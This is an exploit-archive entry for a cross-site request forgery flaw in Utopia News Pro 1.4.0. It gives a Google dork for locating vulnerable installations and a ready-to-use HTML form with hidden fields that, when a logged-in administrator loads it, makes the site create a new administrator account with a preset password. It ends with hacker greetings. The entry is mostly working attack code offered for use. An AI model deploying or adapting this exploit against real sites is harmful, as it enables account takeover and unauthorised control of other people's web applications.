Utopia News Pro <= 1.4.0 - CSRF Add Admin Vulnerability

# Exploit Title: Utopia News Pro 1.4.0 &#60;= CSRF Add Admin Vulnerability # Date: 7/4/2012 # Author: Dr.NaNo # Software Link: http://www.utopiasoftware.net/newspro/dl.php?filename=newspro140b.zip&mirror=1 # Version: 1.4.0 # Tested on: Linux-Red-Hat # Google Dork: Powered By Utopia News Pro 1.4.0 # ######################################################## # ~ Exploit ~ # ######################################################## &#60;html&#62; &#60;body&#62; &#60;form action=&#34;http://localhost/{PATh}/upload/users.php&#34; method=&#34;post&#34; /&#62; &#60;input type=&#34;hidden&#34; name=&#34;username&#34; value=&#34;NANO&#34; /&#62; &#60;input type=&#34;hidden&#34; name=&#34;groupid&#34; value=&#34;1&#34; /&#62; &#60;input type=&#34;hidden&#34; name=&#34;password&#34; value=&#34;102030&#34; /&#62; &#60;input type=&#34;hidden&#34; name=&#34;password2&#34; value=&#34;102030&#34; /&#62; &#60;input type=&#34;hidden&#34; name=&#34;email&#34; value=&#34;security@security.com&#34; /&#62; &#60;input type=&#34;submit&#34; name=&#34;submitnew&#34; accesskey=&#34;s&#34; value=&#34;ThankS !&#34; /&#62; &#60;/form&#62; &#60;/body&#62; &#60;/html&#62; #### ~ Greetz ~ ######################################################### # # # Dr.WEP , JIKO , ahwak2000 , RENO , ABU NWAF , Dr.HAiL , snc0pe , 020 # # # # JaBrOt HaCkEr , alkaseer20 , SadHaCkEr , Cyber Code , aircrack -ng # # # ############################################### ~ All FriendS ~ #########